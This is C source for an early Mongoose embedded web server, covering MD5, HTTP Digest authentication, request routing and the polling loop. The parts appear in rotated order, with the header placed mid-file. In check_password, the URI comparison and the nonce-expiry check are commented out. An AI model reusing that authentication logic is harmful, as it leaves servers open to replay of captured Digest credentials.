MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
buf[0] += a;
buf[1] += b;
buf[2] += c;
buf[3] += d;
}
static void MD5Update(MD5_CTX *ctx, unsigned char const *buf, unsigned len) {
uint32_t t;
t = ctx->bits[0];
if ((ctx->bits[0] = t + ((uint32_t) len << 3)) < t)
ctx->bits[1]++;
ctx->bits[1] += len >> 29;
t = (t >> 3) & 0x3f;
if (t) {
unsigned char *p = (unsigned char *) ctx->in + t;
t = 64 - t;
if (len < t) {
memcpy(p, buf, len);
return;
}
memcpy(p, buf, t);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
buf += t;
len -= t;
}
while (len >= 64) {
memcpy(ctx->in, buf, 64);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
buf += 64;
len -= 64;
}
memcpy(ctx->in, buf, len);
}
static void MD5Final(unsigned char digest[16], MD5_CTX *ctx) {
unsigned count;
unsigned char *p;
uint32_t *a;
count = (ctx->bits[0] >> 3) & 0x3F;
p = ctx->in + count;
*p++ = 0x80;
count = 64 - 1 - count;
if (count < 8) {
memset(p, 0, count);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
memset(ctx->in, 0, 56);
} else {
memset(p, 0, count - 8);
}
byteReverse(ctx->in, 14);
a = (uint32_t *)ctx->in;
a[14] = ctx->bits[0];
a[15] = ctx->bits[1];
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
byteReverse((unsigned char *) ctx->buf, 4);
memcpy(digest, ctx->buf, 16);
memset((char *) ctx, 0, sizeof(*ctx));
}
#endif // !HAVE_MD5
// Stringify binary data. Output buffer must be twice as big as input,
// because each byte takes 2 bytes in string representation
static void bin2str(char *to, const unsigned char *p, size_t len) {
static const char *hex = "0123456789abcdef";
for (; len--; p++) {
*to++ = hex[p[0] >> 4];
*to++ = hex[p[0] & 0x0f];
}
*to = '\0';
}
// Return stringified MD5 hash for list of strings. Buffer must be 33 bytes.
char *mg_md5(char buf[33], ...) {
unsigned char hash[16];
const char *p;
va_list ap;
MD5_CTX ctx;
MD5Init(&ctx);
va_start(ap, buf);
while ((p = va_arg(ap, const char *)) != NULL) {
MD5Update(&ctx, (const unsigned char *) p, (unsigned) strlen(p));
}
va_end(ap);
MD5Final(hash, &ctx);
bin2str(buf, hash, sizeof(hash));
return buf;
}
// Check the user's password, return 1 if OK
static int check_password(const char *method, const char *ha1, const char *uri,
const char *nonce, const char *nc, const char *cnonce,
const char *qop, const char *response) {
char ha2[32 + 1], expected_response[32 + 1];
// Some of the parameters may be NULL
if (method == NULL || nonce == NULL || nc == NULL || cnonce == NULL ||
qop == NULL || response == NULL) {
return 0;
}
// NOTE(lsm): due to a bug in MSIE, we do not compare the URI
// TODO(lsm): check for authentication timeout
if (// strcmp(dig->uri, c->ouri) != 0 ||
strlen(response) != 32
// || now - strtoul(dig->nonce, NULL, 10) > 3600
) {
return 0;
}
mg_md5(ha2, method, ":", uri, NULL);
mg_md5(expected_response, ha1, ":", nonce, ":", nc,
":", cnonce, ":", qop, ":", ha2, NULL);
return mg_strcasecmp(response, expected_response) == 0;
}
// Authorize against the opened passwords file. Return 1 if authorized.
static int authorize(struct connection *conn, FILE *fp) {
const char *hdr = mg_get_header(&conn->mg_conn, "Authorization");
char line[256], f_user[256], ha1[256], f_domain[256], user[100], uri[100],
cnonce[100], resp[100], qop[100], nc[100], nonce[100];
if (hdr == NULL || mg_strncasecmp(hdr, "Digest ", 7) != 0) return 0;
if (!mg_parse_header(hdr, "username", user, sizeof(user))) return 0;
if (!mg_parse_header(hdr, "cnonce", cnonce, sizeof(cnonce))) return 0;
if (!mg_parse_header(hdr, "response", resp, sizeof(resp))) return 0;
if (!mg_parse_header(hdr, "uri", uri, sizeof(uri))) return 0;
if (!mg_parse_header(hdr, "qop", qop, sizeof(qop))) return 0;
if (!mg_parse_header(hdr, "nc", nc, sizeof(nc))) return 0;
if (!mg_parse_header(hdr, "nonce", nonce, sizeof(nonce))) return 0;
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%s", f_user, f_domain, ha1) == 3 &&
!strcmp(user, f_user) &&
!strcmp(conn->server->config_options[AUTH_DOMAIN], f_domain))
return check_password(conn->mg_conn.request_method, ha1, uri,
nonce, nc, cnonce, qop, resp);
}
return 0;
}
// Return 1 if request is authorised, 0 otherwise.
static int is_authorized(struct connection *conn, const char *path) {
FILE *fp;
int authorized = 1;
if ((fp = open_auth_file(conn, path)) != NULL) {
authorized = authorize(conn, fp);
fclose(fp);
}
return authorized;
}
static int is_authorized_for_put(struct connection *conn) {
const char *auth_file = conn->server->config_options[PUT_DELETE_AUTH_FILE];
FILE *fp;
int authorized = 0;
if (auth_file != NULL && (fp = fopen(auth_file, "r")) != NULL) {
authorized = authorize(conn, fp);
fclose(fp);
}
return authorized;
}
static int is_put_or_delete_request(const struct connection *conn) {
const char *s = conn->mg_conn.request_method;
return s && (!strcmp(s, "PUT") || !strcmp(s, "DELETE") ||
!strcmp(s, "MKCOL"));
}
#endif // NO_AUTH
#if 0
// Parsed Authorization header
struct ah { char *user, *uri, *cnonce, *response, *qop, *nc, *nonce; };
// Return 1 on success. Always initializes the ah structure.
static int parse_auth_header(struct mg_connection *conn, char *buf,
size_t buf_size, struct ah *ah) {
char *name, *value, *s;
const char *auth_header;
memset(ah, 0, sizeof(*ah));
if ((auth_header = mg_get_header(conn, "Authorization")) == NULL ||
mg_strncasecmp(auth_header, "Digest ", 7) != 0) {
return 0;
}
// Make modifiable copy of the auth header
strncpy(buf, auth_header + 7, buf_size);
s = buf;
// Parse authorization header
for (;;) {
// Gobble initial spaces
while (isspace(* (unsigned char *) s)) {
s++;
}
name = skip_quoted(&s, "=", " ", 0);
// Value is either quote-delimited, or ends at first comma or space.
if (s[0] == '\"') {
s++;
value = skip_quoted(&s, "\"", " ", '\\');
if (s[0] == ',') {
s++;
}
} else {
value = skip_quoted(&s, ", ", " ", 0); // IE uses commas, FF uses spaces
}
if (*name == '\0') {
break;
}
if (!strcmp(name, "username")) {
ah->user = value;
} else if (!strcmp(name, "cnonce")) {
ah->cnonce = value;
} else if (!strcmp(name, "response")) {
ah->response = value;
} else if (!strcmp(name, "uri")) {
ah->uri = value;
} else if (!strcmp(name, "qop")) {
ah->qop = value;
} else if (!strcmp(name, "nc")) {
ah->nc = value;
} else if (!strcmp(name, "nonce")) {
ah->nonce = value;
}
}
// CGI needs it as REMOTE_USER
if (ah->user != NULL) {
conn->request_info.remote_user = mg_strdup(ah->user);
} else {
return 0;
}
return 1;
}
#endif
int mg_parse_header(const char *str, const char *var_name, char *buf,
size_t buf_size) {
int ch = ' ', len = 0, n = strlen(var_name);
const char *p, *s = str == NULL ? NULL : strstr(str, var_name);
if (s != NULL && s[n] == '=' && s[n + 1] != '\0') {
s += n + 1;
if (*s == '"' || *s == '\'') {
ch = *s++;
}
if (*s != '\0' && (((p = strchr(s, ch)) != NULL &&
(size_t) (p - s) < buf_size) ||
(p == NULL && ch == ' ' && strlen(s) < buf_size &&
(p = s + strlen(s)) != NULL))) {
len = p - s;
memcpy(buf, s, len);
buf[len] = '\0';
}
}
return len;
}
static void open_local_endpoint(struct connection *conn) {
char path[MAX_PATH_SIZE] = {'\0'};
file_stat_t st;
int exists = 0, is_directory = 0;
const char *cl_hdr = mg_get_header(&conn->mg_conn, "Content-Length");
const char *cgi_pat = conn->server->config_options[CGI_PATTERN];
const char *dir_lst = conn->server->config_options[ENABLE_DIRECTORY_LISTING];
conn->mg_conn.content_len = cl_hdr == NULL ? 0 : to64(cl_hdr);
// Call URI handler if one is registered for this URI
conn->endpoint.uh = find_uri_handler(conn->server, conn->mg_conn.uri);
if (conn->endpoint.uh != NULL) {
conn->endpoint_type = EP_USER;
conn->mg_conn.content = conn->local_iobuf.buf;
call_uri_handler_if_data_is_buffered(conn);
return;
}
exists = convert_uri_to_file_name(conn, path, sizeof(path), &st);
is_directory = S_ISDIR(st.st_mode);
if (!strcmp(conn->mg_conn.request_method, "OPTIONS")) {
send_options(conn);
} else if (conn->server->config_options[DOCUMENT_ROOT] == NULL) {
send_http_error(conn, "%s", "HTTP/1.1 404 Not Found\r\n\r\n");
#ifndef NO_AUTH
} else if ((!is_put_or_delete_request(conn) && !is_authorized(conn, path)) ||
(is_put_or_delete_request(conn) && !is_authorized_for_put(conn))) {
send_authorization_request(conn);
#endif
#ifndef NO_DAV
} else if (!strcmp(conn->mg_conn.request_method, "PROPFIND")) {
propfind(conn, path, &st);
} else if (!strcmp(conn->mg_conn.request_method, "MKCOL")) {
mkcol(conn, path);
#endif
} else if (!exists) {
send_http_error(conn, "%s", "HTTP/1.1 404 Not Found\r\n\r\n");
} else if (is_directory && !find_index_file(conn, path, sizeof(path), &st)) {
if (!mg_strcasecmp(dir_lst, "yes")) {
#ifndef NO_DIRECTORY_LISTING
send_directory_listing(conn, path);
#else
send_http_error(conn, "%s", "HTTP/1.1 501 Not Implemented\r\n\r\n");
#endif
} else {
send_http_error(conn, "%s", "HTTP/1.1 403 Listing Denied\r\n\r\n");
}
} else if (match_prefix(LUA_SCRIPT_PATTERN, 6, path) > 0) {
send_http_error(conn, "%s", "HTTP/1.1 501 Not Implemented\r\n\r\n");
} else if (match_prefix(cgi_pat, strlen(cgi_pat), path) > 0) {
if (strcmp(conn->mg_conn.request_method, "POST") &&
strcmp(conn->mg_conn.request_method, "HEAD") &&
strcmp(conn->mg_conn.request_method, "GET")) {
send_http_error(conn, "%s", "HTTP/1.1 501 Not Implemented\r\n\r\n");
} else {
#if !defined(NO_CGI)
open_cgi_endpoint(conn, path);
#else
send_http_error(conn, "%s", "HTTP/1.1 501 Not Implemented\r\n\r\n");
#endif // !NO_CGI
}
} else if (is_not_modified(conn, &st)) {
send_http_error(conn, "%s", "HTTP/1.1 304 Not Modified\r\n\r\n");
} else if ((conn->endpoint.fd = open(path, O_RDONLY)) != -1) {
open_file_endpoint(conn, path, &st);
} else {
send_http_error(conn, "%s", "HTTP/1.1 404 Not Found\r\n\r\n");
}
}
static void send_continue_if_expected(struct connection *conn) {
static const char expect_response[] = "HTTP/1.1 100 Continue\r\n\r\n";
const char *expect_hdr = mg_get_header(&conn->mg_conn, "Expect");
if (expect_hdr != NULL) {
spool(&conn->remote_iobuf, expect_response, sizeof(expect_response) - 1);
}
}
static void process_request(struct connection *conn) {
struct iobuf *io = &conn->local_iobuf;
if (conn->request_len == 0 &&
(conn->request_len = get_request_len(io->buf, io->len)) > 0) {
// If request is buffered in, remove it from the iobuf. This is because
// iobuf could be reallocated, and pointers in parsed request could
// become invalid.
conn->request = (char *) malloc(conn->request_len);
memcpy(conn->request, io->buf, conn->request_len);
memmove(io->buf, io->buf + conn->request_len, io->len - conn->request_len);
io->len -= conn->request_len;
conn->request_len = parse_http_message(conn->request, conn->request_len,
&conn->mg_conn);
DBG(("request_len = %d", conn->request_len));
}
if (conn->request_len < 0 ||
(conn->request_len == 0 && io->len > MAX_REQUEST_SIZE)) {
// Invalid request, or request is too big: close the connection
conn->flags |= CONN_CLOSE;
} else if (conn->request_len > 0 && conn->endpoint_type == EP_NONE) {
#ifndef NO_WEBSOCKET
send_websocket_handshake_if_requested(&conn->mg_conn);
#endif
send_continue_if_expected(conn);
open_local_endpoint(conn);
} else if (conn->endpoint_type == EP_USER) {
call_uri_handler_if_data_is_buffered(conn);
}
}
static void read_from_client(struct connection *conn) {
char buf[IOBUF_SIZE];
int n = recv(conn->client_sock, buf, sizeof(buf), 0);
if (is_error(n)) {
conn->flags |= CONN_CLOSE;
} else if (n > 0) {
spool(&conn->local_iobuf, buf, n);
process_request(conn);
}
}
static void read_from_cgi(struct connection *conn) {
char buf[IOBUF_SIZE];
int n = recv(conn->endpoint.cgi_sock, buf, sizeof(buf), 0);
DBG(("-> %d", n));
if (is_error(n)) {
close_local_endpoint(conn);
} else if (n > 0) {
spool(&conn->remote_iobuf, buf, n);
}
}
static int should_keep_alive(const struct mg_connection *conn) {
const char *method = conn->request_method;
const char *http_version = conn->http_version;
const char *header = mg_get_header(conn, "Connection");
return method != NULL && !strcmp(method, "GET") &&
((header != NULL && !strcmp(header, "keep-alive")) ||
(header == NULL && http_version && !strcmp(http_version, "1.1")));
}
static void close_local_endpoint(struct connection *conn) {
// Must be done before free()
int keep_alive = should_keep_alive(&conn->mg_conn) &&
conn->endpoint_type == EP_FILE;
switch (conn->endpoint_type) {
case EP_FILE: close(conn->endpoint.fd); break;
case EP_CGI: closesocket(conn->endpoint.cgi_sock); break;
default: break;
}
conn->endpoint_type = EP_NONE;
conn->request_len = 0;
free(conn->request);
conn->request = NULL;
if (keep_alive) {
process_request(conn); // Can call us recursively if pipelining is used
} else {
conn->flags |= conn->remote_iobuf.len == 0 ? CONN_CLOSE : CONN_SPOOL_DONE;
}
}
static void transfer_file_data(struct connection *conn) {
char buf[IOBUF_SIZE];
int n = read(conn->endpoint.fd, buf, sizeof(buf));
if (is_error(n)) {
close_local_endpoint(conn);
} else if (n > 0) {
spool(&conn->remote_iobuf, buf, n);
}
}
void add_to_set(sock_t sock, fd_set *set, sock_t *max_fd) {
FD_SET(sock, set);
if (sock > *max_fd) {
*max_fd = sock;
}
}
void mg_poll_server(struct mg_server *server, int milliseconds) {
struct linked_list_link *lp, *tmp;
struct connection *conn;
struct timeval tv;
fd_set read_set, write_set;
sock_t max_fd = -1;
time_t current_time = time(NULL), expire_time = current_time +
atoi(server->config_options[IDLE_TIMEOUT_MS]) / 1000;
if (server->listening_sock == INVALID_SOCKET) return;
FD_ZERO(&read_set);
FD_ZERO(&write_set);
add_to_set(server->listening_sock, &read_set, &max_fd);
add_to_set(server->ctl[0], &read_set, &max_fd);
LINKED_LIST_FOREACH(&server->active_connections, lp, tmp) {
conn = LINKED_LIST_ENTRY(lp, struct connection, link);
add_to_set(conn->client_sock, &read_set, &max_fd);
if (conn->endpoint_type == EP_FILE) {
transfer_file_data(conn);
} else if (conn->endpoint_type == EP_CGI) {
add_to_set(conn->endpoint.cgi_sock, &read_set, &max_fd);
}
if (conn->remote_iobuf.len > 0) {
add_to_set(conn->client_sock, &write_set, &max_fd);
} else if (conn->flags & CONN_CLOSE) {
close_conn(conn);
}
}
tv.tv_sec = milliseconds / 1000;
tv.tv_usec = (milliseconds % 1000) * 1000;
if (select(max_fd + 1, &read_set, &write_set, NULL, &tv) > 0) {
// If control socket is set, just read from it. It meant to wake up
// this select loop when another thread writes to any connection
if (FD_ISSET(server->ctl[0], &read_set)) {
char buf[500];
recv(server->ctl[0], buf, sizeof(buf), 0);
}
// Accept new connections
if (FD_ISSET(server->listening_sock, &read_set)) {
while ((conn = accept_new_connection(server)) != NULL) {
conn->expire_time = expire_time;
}
}
// Read/write from clients
LINKED_LIST_FOREACH(&server->active_connections, lp, tmp) {
conn = LINKED_LIST_ENTRY(lp, struct connection, link);
if (FD_ISSET(conn->client_sock, &read_set)) {
conn->expire_time = expire_time;
read_from_client(conn);
}
if (conn->endpoint_type == EP_CGI &&
FD_ISSET(conn->endpoint.cgi_sock, &read_set)) {
read_from_cgi(conn);
}
if (FD_ISSET(conn->client_sock, &write_set)) {
conn->expire_time = expire_time;
write_to_client(conn);
}
}
}
// Close expired connections and those that need to be closed
LINKED_LIST_FOREACH(&server->active_connections, lp, tmp) {
conn = LINKED_LIST_ENTRY(lp, struct connection, link);
if (conn->flags & CONN_CLOSE || current_time > conn->expire_time) {
close_conn(conn);
}
}
}
void mg_destroy_server(struct mg_server **server) {
struct linked_list_link *lp, *tmp;
if (server != NULL && *server != NULL) {
closesocket((*server)->listening_sock);
closesocket((*server)->ctl[0]);
closesocket((*server)->ctl[1]);
LINKED_LIST_FOREACH(&(*server)->active_connections, lp, tmp) {
free(LINKED_LIST_ENTRY(lp, struct connection, link));
}
LINKED_LIST_FOREACH(&(*server)->uri_handlers, lp, tmp) {
free(LINKED_LIST_ENTRY(lp, struct uri_handler, link));
}
free(*server);
*server = NULL;
}
}
// Apply function to all active connections. Return number of active
// connections. Function could be NULL.
int mg_iterate_over_connections(struct mg_server *server,
void (*func)(struct mg_connection *, void *),
void *param) {
struct linked_list_link *lp, *tmp;
struct connection *conn;
int num_connections = 0;
LINKED_LIST_FOREACH(&server->active_connections, lp, tmp) {
num_connections++;
conn = LINKED_LIST_ENTRY(lp, struct connection, link);
if (conn->endpoint_type == EP_USER && func != NULL) {
func((struct mg_connection *) conn, param);
}
}
return num_connections;
}
void mg_add_uri_handler(struct mg_server *server, const char *uri,
mg_handler_t handler) {
struct uri_handler *p = (struct uri_handler *) malloc(sizeof(*p));
if (p != NULL) {
LINKED_LIST_ADD_TO_FRONT(&server->uri_handlers, &p->link);
p->uri = mg_strdup(uri);
p->handler = handler;
}
}
static int get_var(const char *data, size_t data_len, const char *name,
char *dst, size_t dst_len) {
const char *p, *e, *s;
size_t name_len;
int len;
if (dst == NULL || dst_len == 0) {
len = -2;
} else if (data == NULL || name == NULL || data_len == 0) {
len = -1;
dst[0] = '\0';
} else {
name_len = strlen(name);
e = data + data_len;
len = -1;
dst[0] = '\0';
// data is "var1=val1&var2=val2...". Find variable first
for (p = data; p + name_len < e; p++) {
if ((p == data || p[-1] == '&') && p[name_len] == '=' &&
!mg_strncasecmp(name, p, name_len)) {
// Point p to variable value
p += name_len + 1;
// Point s to the end of the value
s = (const char *) memchr(p, '&', (size_t)(e - p));
if (s == NULL) {
s = e;
}
assert(s >= p);
// Decode variable into destination buffer
len = mg_url_decode(p, (size_t)(s - p), dst, dst_len, 1);
// Redirect error code from -1 to -2 (destination buffer too small).
if (len == -1) {
len = -2;
}
break;
}
}
}
return len;
}
int mg_get_var(const struct mg_connection *conn, const char *name,
char *dst, size_t dst_len) {
int len = get_var(conn->query_string, conn->query_string == NULL ? 0 :
strlen(conn->query_string), name, dst, dst_len);
if (len < 0) {
len = get_var(conn->content, conn->content_len, name, dst, dst_len);
}
return len;
}
const char **mg_get_valid_option_names(void) {
return static_config_options;
}
static int get_option_index(const char *name) {
int i;
for (i = 0; static_config_options[i * 2] != NULL; i++) {
if (strcmp(static_config_options[i * 2], name) == 0) {
return i;
}
}
return -1;
}
static void set_default_option_values(char **opts) {
const char *value, **all_opts = mg_get_valid_option_names();
int i;
for (i = 0; all_opts[i * 2] != NULL; i++) {
value = all_opts[i * 2 + 1];
if (opts[i] == NULL && value != NULL) {
opts[i] = mg_strdup(value);
}
}
}
// Valid listening port spec is: [ip_address:]port, e.g. "80", "127.0.0.1:3128"
static int parse_port_string(const char *str, union socket_address *sa) {
unsigned int a, b, c, d, port;
int len = 0;
#ifdef USE_IPV6
char buf[100];
#endif
// MacOS needs that. If we do not zero it, subsequent bind() will fail.
// Also, all-zeroes in the socket address means binding to all addresses
// for both IPv4 and IPv6 (INADDR_ANY and IN6ADDR_ANY_INIT).
memset(sa, 0, sizeof(*sa));
sa->sin.sin_family = AF_INET;
if (sscanf(str, "%u.%u.%u.%u:%u%n", &a, &b, &c, &d, &port, &len) == 5) {
// Bind to a specific IPv4 address, e.g. 192.168.1.5:8080
sa->sin.sin_addr.s_addr = htonl((a << 24) | (b << 16) | (c << 8) | d);
sa->sin.sin_port = htons((uint16_t) port);
#if defined(USE_IPV6)
} else if (sscanf(str, "[%49[^]]]:%d%n", buf, &port, &len) == 2 &&
inet_pton(AF_INET6, buf, &sa->sin6.sin6_addr)) {
// IPv6 address, e.g. [3ffe:2a00:100:7031::1]:8080
sa->sin6.sin6_family = AF_INET6;
sa->sin6.sin6_port = htons((uint16_t) port);
#endif
} else if (sscanf(str, "%u%n", &port, &len) == 1) {
// If only port is specified, bind to IPv4, INADDR_ANY
sa->sin.sin_port = htons((uint16_t) port);
} else {
port = 0; // Parsing failure. Make port invalid.
}
return port > 0 && port < 0xffff && str[len] == '\0';
}
const char *mg_set_option(struct mg_server *server, const char *name,
const char *value) {
int ind = get_option_index(name);
const char *error_msg = NULL;
if (ind < 0) {
error_msg = "No such option";
} else {
if (server->config_options[ind] != NULL) {
free(server->config_options[ind]);
}
server->config_options[ind] = mg_strdup(value);
if (ind == LISTENING_PORT) {
if (server->listening_sock != INVALID_SOCKET) {
closesocket(server->listening_sock);
}
parse_port_string(server->config_options[LISTENING_PORT], &server->lsa);
server->listening_sock = open_listening_socket(&server->lsa);
if (server->listening_sock == INVALID_SOCKET) {
error_msg = "Cannot bind to port";
} else {
set_non_blocking_mode(server->listening_sock);
}
}
}
return error_msg;
}
const char *mg_get_option(const struct mg_server *server, const char *name) {
const char **opts = (const char **) server->config_options;
int i = get_option_index(name);
return i == -1 ? NULL : opts[i] == NULL ? "" : opts[i];
}
struct mg_server *mg_create_server(void *server_data) {
struct mg_server *server = (struct mg_server *) calloc(1, sizeof(*server));
#ifdef _WIN32
WSADATA data;
WSAStartup(MAKEWORD(2, 2), &data);
#endif
LINKED_LIST_INIT(&server->active_connections);
LINKED_LIST_INIT(&server->uri_handlers);
mg_socketpair(server->ctl);
server->server_data = server_data;
server->listening_sock = INVALID_SOCKET;
set_default_option_values(server->config_options);
return server;
}
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013 Cesanta Software Limited
// All rights reserved
//
// This library is dual-licensed: you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation. For the terms of this
// license, see <http://www.gnu.org/licenses/>.
//
// You are free to use this library under the terms of the GNU General
// Public License, but WITHOUT ANY WARRANTY; without even the implied
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU General Public License for more details.
//
// Alternatively, you can license this library under a commercial
// license, as set out in <http://cesanta.com/products.html>.
//
// NOTE: Detailed API documentation is at http://cesanta.com/docs.html
#ifndef MONGOOSE_HEADER_INCLUDED
#define MONGOOSE_HEADER_INCLUDED
#include <stdio.h> // required for FILE
#include <stddef.h> // required for size_t
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
// This structure contains information about HTTP request.
struct mg_connection {
const char *request_method; // "GET", "POST", etc
const char *uri; // URL-decoded URI
const char *http_version; // E.g. "1.0", "1.1"
const char *query_string; // URL part after '?', not including '?', or NULL
char remote_ip[48]; // Max IPv6 string length is 45 characters
int remote_port; // Client's port
int num_headers; // Number of HTTP headers
struct mg_header {
const char *name; // HTTP header name
const char *value; // HTTP header value
} http_headers[30];
char *content; // POST (or websocket message) data, or NULL
int content_len; // content length
int is_websocket; // Connection is a websocket connection
int status_code; // HTTP status code for HTTP error handler
unsigned char wsbits; // First byte of the websocket frame
void *server_param; // Parameter passed to mg_add_uri_handler()
void *connection_param; // Placeholder for connection-specific data
};
struct mg_server; // Opaque structure describing server instance
typedef int (*mg_handler_t)(struct mg_connection *);
// Server management functions
struct mg_server *mg_create_server(void *server_param);
void mg_destroy_server(struct mg_server **);
const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
void mg_poll_server(struct mg_server *, int milliseconds);
void mg_add_uri_handler(struct mg_server *, const char *uri, mg_handler_t);
void mg_set_error_handler(struct mg_server *, mg_handler_t);
void mg_set_log_handler(struct mg_server*, mg_handler_t);
const char **mg_get_valid_option_names(void);
const char *mg_get_option(const struct mg_server *server, const char *name);
int mg_iterate_over_connections(struct mg_server *,
void (*func)(struct mg_connection *, void *),
void *param);
// Connection management functions
int mg_write(struct mg_connection *, const void *buf, int len);
int mg_websocket_write(struct mg_connection *, int opcode,
const char *data, size_t data_len);
const char *mg_get_header(const struct mg_connection *, const char *name);
const char *mg_get_mime_type(const char *file_name);
int mg_get_var(const struct mg_connection *conn, const char *var_name,
char *buf, size_t buf_len);
int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
// Utility functions
int mg_start_thread(void *(*func)(void *), void *param);
#ifdef __cplusplus
}
#endif // __cplusplus
#endif // MONGOOSE_HEADER_INCLUDED
static int is_big_endian(void) {
static const int n = 1;
return ((char *) &n)[0] == 0;
}
#ifndef HAVE_MD5
typedef struct MD5Context {
uint32_t buf[4];
uint32_t bits[2];
unsigned char in[64];
} MD5_CTX;
static void byteReverse(unsigned char *buf, unsigned longs) {
uint32_t t;
// Forrest: MD5 expect LITTLE_ENDIAN, swap if BIG_ENDIAN
if (is_big_endian()) {
do {
t = (uint32_t) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
((unsigned) buf[1] << 8 | buf[0]);
* (uint32_t *) buf = t;
buf += 4;
} while (--longs);
}
}
#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))
#define MD5STEP(f, w, x, y, z, data, s) \
( w += f(x, y, z) + data, w = w<<s | w>>(32-s), w += x )
// Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
// initialization constants.
static void MD5Init(MD5_CTX *ctx) {
ctx->buf[0] = 0x67452301;
ctx->buf[1] = 0xefcdab89;
ctx->buf[2] = 0x98badcfe;
ctx->buf[3] = 0x10325476;
ctx->bits[0] = 0;
ctx->bits[1] = 0;
}
static void MD5Transform(uint32_t buf[4], uint32_t const in[16]) {
register uint32_t a, b, c, d;
a = buf[0];
b = buf[1];
c = buf[2];
d = buf[3];
MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
